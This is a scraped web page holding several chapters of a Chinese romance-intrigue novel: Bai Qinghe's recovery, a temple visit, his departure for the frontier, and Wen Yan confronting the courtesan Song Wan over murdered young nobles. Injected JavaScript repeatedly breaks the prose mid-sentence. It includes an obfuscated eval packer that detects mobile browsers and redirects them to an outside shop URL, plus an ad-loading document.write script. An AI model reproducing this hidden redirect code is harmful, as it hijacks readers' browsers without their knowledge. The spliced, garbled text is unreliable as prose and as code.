眼下,柏清河靠在温言肩头,又有模有样地哼唧了几声,却始终没能得来半点回应,这才总算是察觉到有些不对劲了,偷摸着瞄了眼温言抿起的唇角,心下暗道一声糟糕,这是逗过了头,真给人弄心疼了,要是没法快些哄好,只怕这人心里又要滋生出些不利于他谈情说爱的念头来。 到时候万一又给人吓跑了,他还能找谁说理去?! 柏清河恨不得返回去抽几分钟前的自己一个嘴巴子,心下懊恼,面上却只能讪讪一笑,找补道:“没事儿的,臭老头就是心里有点落差,其实下手还是收着劲儿的……” “虽然这伤看着是挺吓人的,但其实都只是些皮外伤,真的,一点筋骨都没碰着,最多养个两三天就都好了,我保证,保证到时候又活蹦乱跳的……” “哎呀,你想想,我可是他心爱的小接班人,他要是真下狠手给我打出了个好歹来,到时候还有谁能来接他的班,放他云游四海去……” 柏清河这会儿急于向温言证明自己是真的没什么大事,自然是什么话都往外冒,嘴皮子都快要搓冒火了,才总算是让温言的脸色好看了些。 “不行,还是得找个医师来看看,”温言眉头微松,瞪了柏清河一眼,“快回屋里趴着吧,都这样了,真亏得你还能说些俏皮话……” “找,都听你的——望尘!” 柏清河忙不迭地应了,扬头一嗓子,后文还什么都没说呢,望尘就已经从墙头一跃,来无影去无踪地跑了。 望尘的办事效率高,没一会儿的功夫,一位老医师便被领进了门来。 此时的柏清河已然褪去了衣衫,用被褥盖住了下半个身子,直挺挺地趴在榻上;温言则是靠坐在床头的地上,手边规整地摆放着染尽血色的衣衫,却是有意偏过了头,避过去看那狰狞的伤口。 方才柏清河脱衣时,衣衫早已与绽开的血肉融为了一体,因此,剥离的皮肉之痛自然是免不了的,饶是柏清河再怎么想表现得云淡风轻,一声不吭,中途却也是忍不住倒吸了几口凉气。 这一切温言全都看在眼里,他自幼便日日活在刀光剑影之下,自然更能切身体会这其间的疼痛,所幸医师来得及时,简单看诊过后,提出这皮外伤只需每日换药静养即可,等过几日结痂恢复后,便再无大碍,他这才总算是彻底放下了心来。 换药的过程并不繁琐,只不过柏清河不喜有不熟之人每日进出他的院子、近他的身,因此老医师清洗伤口和换药时,温言得时时看着——从明日开始,这“重担”只怕是要落在他头上了。 温言一手搭在榻上,无意间与柏清河指尖相贴,感受到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639091|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方下意识地颤动。 这清洗伤口的痛温言也受过无数回,自然是有所知晓,望着柏清河汗津津的面容,又不由得更加心疼了起来。 柏清河倒是很有闲心地翻过了温言的手心,伸出两指捏了捏:“没事儿,不疼的。” 这话说出来跟骗小孩子似的,配上那还在一抽一抽的指尖,真是一点也没有说服力。 温言就这么定定地望着他。 “真的,你要是实在不放心,就来亲我一下,”柏清河挑眉一笑,伸着脖子朝温言那边探了探,轻声道,“温言,你亲我一下,我脑子里便只会想着你了,自然就感觉不到痛了……” ……这个惯会臭贫的混蛋。 温言被这话说得面红耳热,只觉屋内温度都上升了些许,本想扭头当作没听见这浑话,可一对上柏清河那认真期盼的目光,又不由得败下了阵来,最后到底还是偷瞟了眼正在认真敷药的老医师,钻着空子,又轻又快地在柏清河的唇角啄了一下。 柏清河得了便宜,眼下却实在不是个卖乖的好时机,只好将脸埋在榻上,闷闷笑了两声。 不明真相的老医师还以为是自己下手太重,给这位少爷按疼了伤处,只好又小心翼翼地收了点力道,好不容易给裹好了伤处,便立马收拾好了药箱,脚下抹油似的跑了。 温言生怕那位老医师是发现了什么端倪,待人走后,狠狠瞪了柏清河一眼。 柏清河这才得以笑着翻下床榻,将人按着又亲了个心满意足。 静养的这几日,柏清河就跟那闲不住的偷油耗子似的,整日里都手痒得紧,屋内屋外转了个百十来圈,似乎看什么都新奇,伸了爪子左摸摸右摸摸,却怎么也动不过瘾,最后往往是被温言一个眼刀给按回了榻上,这才实在是怀念起了自己曾经能上蹿下跳的好日子来。 正巧那千金台的伍弗这几日陆续给府上送来了点东西,都是对着温言提供的画像所找来的药材,柏清河又正好闲得发慌,没事儿便琢磨起了这药材的外观与用途,一一对照起来后,才亲自慎之又慎地将其纷纷收入了自己的小库房。 被他这么一弄,温言自己反倒对这事儿没那么紧张了。 也不知是从什么时候开始,他俩似乎总是这样,比起自己,更恨不得将一整颗心都悬挂在对方身上才好。 除此之外,温言这几日被柏夫人领着,将这柏府逛了个遍不说,更是陪着出门置办采买了不少物件——若不是马车空间有限,温言毫不怀疑这些东西还能再多一倍不止,其中什么琐碎的彩头、零件都有,大有一副要让他常住于此的架势。 想来是那一晚柏大帅说也说过、打也打过了,见这事儿木已成舟,根本劝不住,一家子的胳膊肘都拐到山外边去了,也就只好就此作罢,捏着鼻子认了,没再多说一个不好。 于是温言又没能抗住柏夫人和柏清河的轮番攻势,真就这么在柏府住了下来。 62.姻缘 柏清河的身体素质还真确如他自己所说的那般,不出三五天,这背后的伤口便无一例外地结了厚厚一层痂,等再过段时日,痂自然脱落,露出底下新长出来的淡粉色皮肉,便算是彻底好了。 当然,以柏清河这闲不住的性子,现在也已然如同他自己先前所说的那般,“活蹦乱跳”了起来。 练武这东西靠的是常年的基本功,柏清河看着温言日日在院内当着望尘的陪练,自然是手痒得紧,也想去过个一招半式,可惜回应他的只有温言扭头就走的背影——开玩笑,要是他们俩真打过瘾了,伤口再度裂开了算谁的? 于是乎,屡次碰壁的柏清河只好摸摸鼻子,灰溜溜地跑到一旁,有模有样地练起了一套枪法,也算是缓解了不少手痒难耐之情。 “你什么时候会耍长枪的?” 温言还是头一回看见柏清河捣鼓短刀以外的兵器,新奇得很,坐在树上看了好一阵,才忍不住开口问道。 “我学长枪学得可比短刀早,”柏清河舞枪时收了力,可枪尖所过之处还是起了一阵劲风,卷得落叶纷飞,“只是这枪在皇城内难免施展不开,没有短刀实用,这才丢到屋里落灰去了。” 常年只用一把匕首的温言点了点头,对此深以为然。 “柏二少爷好雅兴。” 伍弗的声音从墙头传来,几人皆闻声望去,只见他这回两手空空,没像往常那般抱着个小木匣子——估计也正因此,不怕磕了碰了,他才敢直接来翻墙头走捷径。 伍弗一落地,便又想率先朝着几人问个好,还是那副规矩十足的样子;柏清河冲他摆了摆手,让人直接跳过虚礼的环节,他这才开口讲起了正事。 “千金台前后派出过数批人马,成功找齐了温公子所给画像中的大部分药材,除却这一样,”伍弗从怀中掏出了一张薄纸,打开后,上面寥寥几笔画着一株药材的画像,“此药材名为铃目草,只生长在悬崖峭壁之地,因此皇城内很难寻见……” “千金台为此寻访多日,最终才在边缘之地打听到了这铃目草的下落,就在琼山一带……柏二少爷应当知晓,琼山山脉实为重兵把守之地,我等在周围探查多日,却始终无法更进一步,因此传回了消息,派我将此事告知与您。” 伍弗说完这番话后,左手搭上右手手背,深深鞠了一躬。 这便是事已至此,无能为力的意思了。 温言听了个一知半解,他在这方面的知识储备远不如柏清河,只好将目光投向对方,等着能听到一个更为详细的解释。 柏清河垂眸思索了片刻,并没有很快出声。 伍弗作为千金台“信使”不宜久留,见意思传达到了,雇主也没有要追责的意思,便在丢下了一句“请替我向云掌柜问好”后,识趣地跑了。 温言见柏清河思忖良久,料想对方应当也是有些束手无策,正要出言说些什么,就听对方喃喃道:“琼山……” “他们千金台去不得,可不代表我也去不得。”柏清河像是终于想通了什么似的,皱着的眉头松开了些许,宽慰温言道,“……可别忘了,老头好歹也是一国元帅,这事儿不过就是麻烦了点,只怕是得我亲自去才成。” 柏清河虽然平日里鬼话成篇,可在这种大事上,却几乎从未信口开河过。 他敢这么说,自然是脑中已经有了对策。 温言听完,心下却不免担忧起伍弗所说的“悬崖峭壁之地”,想也知道,任何人一旦在这种地方失手,那便只有粉身碎骨、死无葬身之地的下场了。 经过这段时日的朝夕相处,柏清河那洞察心思的能力显然更上了一层楼,他一瞧温言的神情,便猜到了对方的心中所想:“放心好了,凭你相公的能耐,什么破悬崖峭壁,保证都跟爬山一样,轻轻松松。” “你就吹吧。” 温言哼了一声,显然是被这股臭屁劲儿给噎了一瞬,却又因为对方口中自然吐出的“相公”两字,思绪发散到了别处。 他自己在这皇城内还有些余事未了,倘若柏清河要亲自去寻这铃目草,他自然是无法同对方一道离开的,这么一算,两人之后少说也要分别两三个月,而在此期间,皇城内又将如何的风起云涌,还完全没个定数。 既如此,有些还没来得及做的事儿,不如就趁着这个机会…… 温言这般想着,一抬头,正好对上了柏清河笑着望向自己的目光,有句在心中斟酌了许久的话,也就这么轻描淡写地脱口而出了。 “你之前说……想同我逛庙,这话还作数么?” 自然是作数的。 两人并肩从熙熙攘攘的人群中穿过,柏清河紧紧牵着温言的手,一步三回头,不时还抱怨两句“都捂了这么久了,你手怎么还这般凉”,活像个劳心劳力的老妈子。 温言看得自觉好笑,若不是实在煞风景,他都想出言提醒对方,自己曾经可是个不管寒冬酷暑都得按时完成任务的影卫,哪怕现在勉强算是金盆洗手了,也实在不可能摇身一变,原地变成个需得日日被捧在手心里看护的金贵少爷。 放眼望去,庙里随处可见随风飘动着的红绳,正中央有棵被围起来的参天大树,四周枝丫皆已被层层叠叠的红绳给压得不堪重负,虚虚垂了下来,从远处看,倒是与那民间话本中所描述的“姻缘树”的样子八九不离十——说不定也正因此,这棵业绩斐然的树才被保护了起来。 如今,这树旁又另支起了一座长足有数米的架子,专供前来请愿的人们系挂红绳。 当初只说是要一同去逛那月夕节的庙会,如今却一道来了这皇城内最大的姻缘庙,左右都是“庙”,这点偷梁换柱的小心思两人皆是心知肚明,倒是用不着去点破了。 温言以前从未来过这姻缘庙,柏清河也向来不是那信奉鬼神之人,两人皆是头一回来这地方,自然是什么都不懂,便只好一齐看向前面的几位姑娘,随后有样学样,勉强算是顺利过了这跪拜月老的环节。 毕竟俗话说得好,心诚则灵嘛。 温言从跪拜的软垫上站起身,抬头又看了眼月老的神像。 这位白发苍苍的老者端坐着,左手抱着册姻缘簿,右手握着柄坠了颗桃的拐杖,笑意盈盈地望向底下虔诚跪拜的苍生。 温言站在一旁,双手合十,又一次短暂地闭上了眼,再度睁开时,仿佛看到这位慈祥老者嘴角的笑意扩大了些许。 只是这么一转眼的功夫,身旁的柏清河去了又回,似乎是到旁边拿了点东西。 温言见柏清河刻意露出了副神神秘秘的样子,没有多问,而是重新牵起了对方垂在身侧的手,顺着人流往外走去。 等两人再次路过那姻缘树旁的大支架,柏清河晃了晃两人十指相扣的手,问道:“不如我们也去挂根红绳吧?” 怎样都好。 光是眼下这副场景,便已经是曾经的他无论如何也不敢妄想的了,温言心里想着,自然是点头应了。 于是柏清河兴冲冲地跑去买了两根红绳,等走回到温言面前,这两根红绳的一端已经被他打了个极为复杂的死结,紧紧缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温言呆立着沉默了数秒,这才将这神纸原封不动地叠了回去,重新塞进了香囊中,转头便逆着人流复又跑回了那月老殿里。 “哎,你干嘛去……” 柏清河的声音被撞碎在嘈杂的环境里,他只好也跟着迈步,一路喊着“不好意思”“麻烦让一让”,去追着那身影,跟着一头栽进了月老殿里。 月老殿内人数众多,可他还是一眼便瞧见了站在角落里的温言,这人正微微弓着身子,右手执笔,一笔一划地在那群叽叽喳喳的小侍女跟前写着什么。 柏清河探着脑袋,轻手轻脚地往那边靠去。 再凑近时,只见温言已经搁了笔,拿着张一模一样的神纸在空中轻轻抖了抖,似乎是希望这笔墨能干得再快些,好在下一瞬便能收进这香囊内。 你写了什么? 柏清河本想这么问对方,可就在这短短一瞬间,他已经看清了那纸张上苍劲有力的八个字。 ——年年岁岁,平安喜乐。 “我以前……其实从未想过‘以后’的事,但现在不一样了,”温言一边说着,一边虔诚地将这纸张按规矩铺平折好,塞进了他几分钟前还嗤之以鼻的香囊中,随后飞快地将其放入了柏清河手里,“我想,至少现在,我是想和你有个‘以后’的。” “所以,柏清河,祝你往后,年年岁岁,皆平安喜乐。” 63.彭景 柏清河在回府路上便已然将香囊与玉佩一道挂在了腰间,粉红色的小香囊配在深色服饰之上,实在扎眼得很,他却似乎对此完全不以为然,甚至还试图撺掇着温言也这么干。 “……” 这种张扬的行事风格很符合柏清河的一贯作风,温言却是无论如何也适应不来,摇摇头拒绝道,“我没在腰间挂东西的习惯。” 这话说得倒也是,自打柏清河认识温言起,这人好像真的几乎每次都是件利落的黑衣,腰间顶多有把从不离身的匕首,除此之外,再没了其他配饰。 “好吧。” 柏清河叹了口气,他本想两人一同挂上,这样即使还没有成对的玉佩,稍微有点脑子的人也能一打眼便识得他俩的关系,省得到时候有些个不长眼的,万一惦记上了什么不该惦记的,还得多些麻烦事儿。 如今虽然只有他自己一个人挂上了这香囊,却也算是变相朝着城内的那些个莺莺燕燕们宣告有主了——这份张扬勉强还算得上是有些用处。 这点小心思要是让温言知道了,指不定又得笑他多虑。 说白了,这皇城内有头有脸的人物个个都端着一副眼高于顶的派头,他温言算得上哪根葱,说出去人家指不定连名字都没怎么听说过,谁会真瞧得上他这个“无名小卒”? 就算放眼这全天下,怕是也很难再找出第二个同柏清河一般执迷不悟又瞎了心眼的少爷了。 柏清河一路上始终紧紧牵着温言的手,在回到柏府时才总算是将人捂热了些许,还没走进门呢,远远便见着柏平昀刚下马车的身影。 柏清河正要开口喊人,就见柏平昀也正巧往这边看了过来,瞟了眼两人相牵的手,脚下一顿,有些鼻子不是鼻子、眼不是眼地站在门口,像是想要说些什么。 温言知道对方肯定是来找柏清河的,下意识便想要回避开来,柏平昀却是挥了挥手,表示用不着那么麻烦。 “就是来通知一声,皇帝有令,恰达勒屡次进犯,实为不将我国威严放于眼中,需派重兵前往琼山一带边境,挫挫他们的威风。皇帝钦点我们柏家带重骑兵前去支援,柏清河,你也得跟着去。” 柏平昀讲起正事来倒是一板一眼得很,说通知也真是通知,短短几句话,将事情交代完了,便自顾自地率先往府里走去。 徒留两个晚辈被这突如其来的消息砸了个懵,愣在原地几秒,柏清河才反应过来这话里还有个重点没说呢,忙扬声问道:“等会儿……啥时候走啊?” “即日启程!” 柏平昀的声音悠悠传来,甩下这四个大字时,人已经跑没影了。 温言同柏清河面面相觑,沉默了片刻,实在是不知道该说什么才好。 最终还是望尘从墙头上探出了个脑袋,眨着眼睛朝两人挥手打招呼,才打破了这阵沉默。 “欸,少爷,温公子,你俩站在这儿干嘛?”望尘趴在墙头,笑着冲两人问道,“快进来吧,正巧,我有个好玩的消息要找你们说呢!” “一天天傻乐的劲儿……”柏清河有些无奈地叹了口气,拉着温言走进院子,“说吧,这次又是从哪儿听来的小道消息?” 也不怪柏清河会这么问,自打温言住进柏府后,望尘显然意识到自己有了新的打扰对象,这股唠天唠地的旺盛劲儿只增不减,从温言答应了当他陪练后变得更加一发不可收拾了起来,每日都得缠着温言说上好久的话,其间说到最多的、最能编排的,自然是一些不知从哪个街头巷尾听来的小道消息——说来也怪,真不知道温言这三句话应不了一声的性格,到底是怎么偏偏就这么得话痨垂青的。 因此,现如今望尘再说有什么“好玩的消息”,他们自然免不了会往这方面想。 “这回可不一样,虽然也是小道消息,但好像还真是真的,大事呢!”望尘神神秘秘地伸出根食指挡在嘴唇上,压低了声音说道,“彭景,就那个原来总找少爷你出去喝酒的彭少爷,死了。” 原来你也知道你曾经说的那些小道消息都是假的啊…… 等会儿……谁死了?! 两道念头同时出现在脑海中,柏清河同温言对视一眼,两人又同时转头看向望尘。 柏清河皱眉问道:“彭家好歹也是皇城大家,彭景再怎么不济也是彭家的嫡出长公子,这事若是真的,彭家怎么可能到现在都没有动静?” “有,有的,据说彭家已经派人去了千金台,想要请千金台地下的人手协助抓出凶手,甚至愿意开高价赏金,可千金台……也就是那个总守在地下门口的阿娇姐,不知道为什么,没接这个活。”望尘出言回答道。 这消息既然牵扯到了千金台,望尘又素来受到那位阿娇姐的偏爱——柏清河曾经让他去查温言时,望尘便是找阿娇姐走的后门;有这层关系在,以望尘的性子,自然是已经去找阿娇姐求证过了,才敢如此信誓旦旦地说出来。 换句话说,这件事的真实性基本可以称之为板上钉钉了。 可这样一来,新的问题便又出现了:只是抓个凶手而已,千金台为什么不接? 不管怎么说,彭家能开出来的高价赏金,怎么想也一定是个诱人的条件,以温言作为一个影卫的直觉和经验,千金台只要接了,这事儿肯定是个稳赚不赔的买卖。 莫非这事里还有什么不为人知的隐情? 从此时的表情来看,柏清河显然与温言想到一块儿去了,于是接着问望尘道:“关于这事儿,你还听到什么传言了?” “嗯……”望尘这时也坐了下来,扶着下巴,低头想了想,“一定要说的话,最近似乎是有彭家人要升官了,具体的我不清楚,只听阿娇姐说好像是辛城原来的知县被革职了,现在准备要换彭家的人去呢……但被当今圣上选去当知县的并不是这个彭景,不然我一定会记得的,所以……” 辛城原来的知县被革职,想必与当时的粮草案脱不开关系……这倒真是有点无妄之灾的意思,还好这老皇帝虽然行事有些糊涂,但好歹算是为人仁德,只是将人贬了官职,并没有祸及一家老小,也算是不幸中的万幸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。 柏清河在听完的瞬间便提出了一种假设。 “虽然彭景没被选上当知县,但他也许可以跟着对方一同离开这个皇城,去当一方霸主。” 可如果将这个线索也考虑进去,又会成为什么人的杀人动机呢? “倘若真是这样,首先,对方一定已经提前知道了这个消息,”温言也跟着开了口,“可照道理说,这个消息还未对外公布,除非对方是能和千金台同步得到消息的人……” 几人对视一眼,心下皆是一愣。 ……皇城内真的会有这种人存在么? “嘶……”望尘顿时缩着胳膊打了个寒颤,“这也太恐怖了。” 温言没接茬,继续分析道:“其次,明明彭景要出城的消息还未被辨别真伪,这个藏在背后的杀人凶手却已经沉不住气了,这么快便下了手,说明这件事对对方来说是极为有害,或者说是有极大威胁的……” “可对方若是彭家的仇家,这也说不通,”柏清河伸手敲了敲桌面,顺着思路反驳道,“无论这个仇家是谁,找人杀了彭景这个当不上官的酒囊饭袋完全是无用之功,同时,无论‘彭景身死’这件事之后会有多轰动,该当上知县的人到时候肯定还是会顺利出城,这个大结果并不会因此有任何改变。” 的确,对于一个大家族来讲,哪怕是嫡长子,一个死人与一个即将带着家族晋升的贵人,孰轻孰重,是根本不需要去衡量的。 “可是……事情都已经过去一天了,彭家到现在都还没在皇城内放出彭景身死的消息,只是暗地里找了千金台,说明他们应当在刻意压着,不想让别人知道这事吧……”望尘在一旁弱弱开口补充道。 两人瞬间皱起了眉头。 这竟然是一天前发生的事? 如果是这样的话……又太慢了。 找千金台的速度太慢了。 “真是怪事年年有,今年特别多啊……”柏清河站起身,见事情想不通,索性便不想了,跳转了个话题,“得了,咱们想不通,也有可能是因为这不过就是私仇或是家族内讧——望尘,有空去收拾收拾东西,咱们今晚可就得出发去琼山了。” “哦,好。” 接到命令的望尘点了点头,想必是先前便已经蹲墙头听到了柏平昀在门口与柏清河的对话,因此没有任何的疑问和犹豫,直接站起了身往另一边走去。 随口支开了望尘后,柏清河再次转过了头,双手撑在桌上,俯下身朝着温言说道:“请问这位温公子,怎么突然用这种眼神看着我?” “真是有点不习惯……你那刨根问底的性子呢?”温言歪着脑袋,语调温和地问道,“丢路上了?” “不不不,温公子这可真是误会我了……说难听点,他彭景算个什么东西,这点破事儿再怎么说也威胁不到柏府,不过是能当个有点意思的谈资罢了。”柏清河望向温言的眼睛,勾起唇角笑了一下。 “当然是只有与温公子你有关的事情,才会让我有想去刨根问底的兴趣啊。” 64.猜疑 虽说此回是奉皇命出城,不用再趁夜摸黑行动,可由于柏清河收拾东西时磨磨蹭蹭,甚至还三番两头跑去跟温言扯闲篇,最后还是给拖到了近日落时分,他才背着长枪,在城门口翻身上了马,准备启程。 柏清舟腿脚不便,因此还是同上回一般,与柏夫人一道留在了府中,只剩温言陪着将人送到了城门口。 唯一不同的是,温言这回不再需要藏身于墙角处,而是可以光明正大地站在柏清河身边。 小柏在空中盘旋了几圈,似乎是有些念念不舍,又落回了温言肩头。 “它倒是跟你熟了,”柏清河牵着缰绳,哼了一声,“真是半点没猎鹰的样子,亲人得很。” 温言摸了摸小柏伸来的脑袋,抬眼望向对方,反问道:“哦?你又好到哪儿去了?” “那怎么能比,”柏清河闻言,顿时笑了,“我肯定比它要想你得多。” 温言听到这话,忍不住发出了一声气音,也跟着笑了。 “小柏知道该怎么飞回府……我会经常给你写信的。”柏清河俯下身去,伸手蹭了蹭温言的脸颊;随即又让马向外走了几步,这才一扬马鞭,意气风发地追着柏平昀的步伐去了。 “走了!” 这种时候,无论回什么都显得过于“柔情蜜意”,肉麻得紧。于是温言只是站在原地,等着肩头的小柏重新展翅,随后朝远方眺望,直到逐渐看不见柏清河的身影后,才转过身往回走去。 在先前的一番商议之下,望尘与望洋职责交换,望洋最终代替望尘,陪着两人离开了皇城,去短暂的充当起了柏清河的副将,与此同时,望尘虽说被忽悠着收拾了好了东西,最终却还是留在了府中,当起了柏清舟的贴身侍卫,时不时还得照看着柏夫人与温言的安危。 虽说温言对望尘是否能起到照看他安危的作用持怀疑态度,但到底还是不置可否地应了。好在望尘本身也还是个孩子心性,对军功封赏并没有什么兴趣,自认还是呆在这皇城里,跟着柏府一家人锦衣玉食,时不时还能溜出去打秋风的日子闲散舒适。 自然,望尘再怎么也想不到,自家少爷这才刚离开皇城,第二日,柏府便迎来了一波不速之客。 温言正坐在书房内,专心致志地翻阅着手中的书册。 桌上的另一边,整齐地叠放着林芷曾经塞进他袖袋中的画像,被两本书册压在其间,只露出了边角写着的一个“宋”字。 望尘闲着没事,搬了个小凳子坐在一旁,趴在桌上,有一搭没一搭地说着:“所以啊,现在这皇城内不太平得紧呢,听说杨家和李家的小少爷似乎人也没了,到现在都还没找着呢……” “你说,这会不会是话本里写得那种……惩奸除恶、惩恶扬善的江湖大侠,来行侠仗义了啊?不然怎么专挑这些少爷们下手呢……” 谁家的江湖大侠这么闲来没事,还有空来管这些地主家的腌臜事…… 温言分出了点神听望尘讲话,闻言也只是笑着摇了摇头,随口问了句:“哪个杨家和李家?” “就那个啊,温公子你原来还同少爷一起,跟他们喝过酒呢,你不记得了吗……那次少爷喝醉了还是我去接的呢,哎,其实少爷还真挺少喝醉的,那次也不知道是怎么了……” 眼见着望尘嘴里的话越跑越偏,温言却敏锐地从中捕捉到了重点。 杨家和李家的小少爷……从这个描述来看,该不会说的是杨恒和李子鹏吧。 他记得这俩原先就总是跟在彭景身边,说是“小跟班”也不为过了,如今这两人失踪不见,莫非……也与彭景的事脱不开干系? 倘若真是如此,从彭景的下场来看,温言几乎可以断定,这两人已经遭遇不测了。 可这三个人,完全就是些扶不上墙的废物阿斗,平日里除了吃喝嫖赌样样都沾,哪里还有机会与别人产生什么利益纠葛,更别提是这种非要置他们于死地的仇家了。 等等…… 吃喝嫖赌…… 温言突然合上了手中的书册,抽出一旁被压住的纸张,三两下叠好后塞入袖袋中,站起身朝着望尘说道:“我要去趟青鸢阁。” 望尘显然没明白对方为何突然有这么大的动静,被吓了一跳,下意识愣愣地点头道:“哦,好,好……” 好到一半,他才回过神来,想起了自家少爷交代的种种事项,瞬间又将头摇成了拨浪鼓:“不,不行,少爷说了,绝对不能放温公子你一个人去这种场所……” 柏清河说的? 这人不会又有什么妖要作吧…… 温言挑了下眉,体贴地回身示意望尘将话说完。 “少爷说了,这种容易沉醉声色的场所,我得跟着您一道去,避免您趁他不在家……移情别恋……” 最后四个字直接将望尘的小脸憋了个通红,在嘴里含糊了半晌才好歹是将话讲完全了,声音细如蚊蝇,甚至就连称呼都从“你”变成了“您”。 温言:“……” 他有时候是真想问问,柏清河到底是从哪儿学来的这些调调,总将自己假想成个不受宠的深闺怨妇作甚。 当然,温言也只是在心里有些好笑地想想,面上还是很快地妥协了,冲着望尘一点头道:“那你跟着吧。” “欸,好嘞。” 望尘立马紧跟着从位置上弹起身,走在温言的身后出了门。 两人刚一走出柏府,拐了个弯,无人小巷里瞬间便窜出了几道黑衣人影,拦住了他们的去路。 虽说望尘平日里经常出府,却还是很少在皇城内见到这种阵仗的,顿时傻眼了,回头问道:“这是……?” “他们等这个机会想必已经等很久了,”温言像是早有预料般,轻轻拍了拍望尘的后背,将人往前一推,“去吧,是你自己要跟来的。” 温言此话不假,前段时日他住在柏府内便罢了,出入时身边也总是黏着个柏清河,再不济,还有保护柏夫人的随行侍卫,这帮人根本就无从下手,若是一不小心伤到了柏家人,更是得不偿失。 因此,想必这些人还真是苦等良久,才总算是熬来了柏清河出城,自己又只是带着个小侍卫单独出府的机会——若是再不出手,错过了此等上好时机,可真就无法交差了! 可是……望尘在心里控诉道,谁能来跟他解释一下! 这些人都是谁啊?是冲温公子来的吗?“这个机会”又是什么机会啊? 怎么感觉曾经温文尔雅的温公子跟自家少爷呆久了,也变得爱捉弄人了啊! 不带这么玩儿的! 望尘瘪着嘴抽出了腰间的佩刀,抬手横于胸前,就这么毫无预兆地与冲到第 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一个的黑衣人打了起来。 这些黑衣人出手干净利落,目标也很明确,除了率先动作的两三人在与望尘交手缠斗,牵制住了对方,剩下的几人全都直冲站在后方的温言而来! 当真是训练有素。 温言下意识地迅速摸了把腰间,却并未抽出匕首,而是左躲右闪着避开了这些人迎面袭来的刀光剑影,同时弯腰捡了把地上的石子,曲起手指弹了两颗出去,正中想要偷袭望尘背后的那人的膝窝。 末了,甚至还富有闲心地提点了一句:“别分心。” 望尘也算是自幼同柏清河一道习武长大,虽然天赋不及他们这般天骄英才,却也是个实力相当不俗的练家子,否则也不可能够得上资格去当柏清河的贴身侍卫,还是一当数年,从未更换过人选。 因此,他自然也从劲风中辨识到了黑衣人的动作,趁着间隙一转头,卡着时机,毫不犹豫地将刀尖刺入了对方胸口,再一脚蹬上对方的腹部,借着力道将人踹翻在地,同时拔出佩刀,凌空转身,这柄带血的短刃又顺势抹过了身后另一人的咽喉。 “是。”望尘刚一落地,便低头扫了眼软倒在地上的尸体,这才像是想起了什么似的,转头和站在后方的温言交换了个眼神。 温言身子一矮,再次躲过了对方飞来的刀刃,而他手中除了那把石子,再无他物,匕首更是还好端端的插在腰间,刀鞘连一点血渍都没沾上,看样子是打定主意要望尘一个人血战到底,也算是试试这段时间训练的成果了。 两人在瞬息间四目相对,温言轻轻摇了摇头,说道:“格杀勿论。” “是!” 望尘这才呼出口气,在翻手抽出腰间第二把佩刀的同时,冲入了黑衣人之间。 “宋小姐,今日还见客吗?”一名侍女站在门外,毕恭毕敬地问道。 “劳驾,跟鸨母说一声,今日要见的客,我亲自来挑,”宋小姐坐在窗边,冲侍女温和地笑了一下,“我要等的人,应该就快来了。” “是。”侍女点了点头,正要转身出去将门带上,却一不留神撞上了身后的人,“啊——” “别出声。”温言一手扶住这侍女的肩膀,确认对方站稳后才松开了手,大步往内走去,“我找你们家宋小姐……” “小姐……小姐今日不见客……” 侍女好不容易壮着胆子说完,一抬头碰上了望尘投来的冰冷视线,瞬间便彻底偃旗息鼓,缩着脖子躲在一旁不吭声了。 “你来了?”宋小姐朝着温言温温柔柔地笑了一下,站起身走到茶桌前,抬手示意对方坐下,这才转头朝着一旁的侍女说道,“你出去吧,告诉鸨母,我今天就只接这位客人,谁都不准来打扰。” “好的宋小姐。”侍女如蒙大赦,立刻踮着脚跑远了。 望尘一抹脸上的血迹,带好门,就这么盘腿坐在了门口,用衣角的布料细细擦着刀,难得有了几分正经贴身侍卫的样子。 “许久不见了,温公子,近来可好?”宋小姐勾着手腕给温言倒了杯茶,“准备匆忙,招待不周,还请见谅。” 温言面无表情地看了眼面前的茶水,没有去接,反而是伸手入袖中,抖开了带来的纸张。 “我怎么也没想到,林芷留给我的最后一环,竟然是你啊。” “宋婉。” 65.凶手 宋婉一愣,随即又笑了起来,明艳动人,半分没露怯地问道:“温公子何出此言呢?” 她没否认自己认识林芷,也算是变相地承认了温言的猜测,只是好奇,好奇对方会猜到她的理由。 “最开始,我听闻彭景身死的时候,其实完全没往你身上想过,”温言就这么定定地看着对方,开门见山地说道,“可是如今杨恒和李子鹏接连失踪,生死未卜……若是有心者将这三个人放在一块儿联想,自然便会很轻易地想到宋小姐你了。” 只不过这皇城内怕是没人会相信,一个久居青楼的小姐,竟会对自己的长期嫖客——说是钱袋子也不为过,痛下杀手。 乍一听上去,这与亲手断了自己的财路无甚区别。 因此,若不是这事涉及到了三位公子哥,颇有些赶尽杀绝的意思,饶是温言,也很难猜到这方面的关联。 “这倒确实是我百密一疏了,”宋婉佯装可惜地叹了口气,“可惜,即便如此,彭家也是抓不住我的……况且,这和林芷又有什么关系,偌大一个皇城,姓宋的不到上千也有几百,其间能耐大的人多了去了,温公子是怎么通过这种小事,就断定是我的呢?” 这种小事……? 这可不是什么小事。 的确,宋婉的这张嘴无论再怎么能言巧语,她的身段也是断然骗不了人的。 这也是整件事里,她最能够加以利用的混淆视听之法。 一个青鸢阁的头牌小姐,别说习武了,就是稍微有些膀大腰圆都是要被嫌弃的“死罪”,整日顶着这么副软若无骨、弱不经风的身子骨,是断然不可能与三个大男人正面抗衡的。 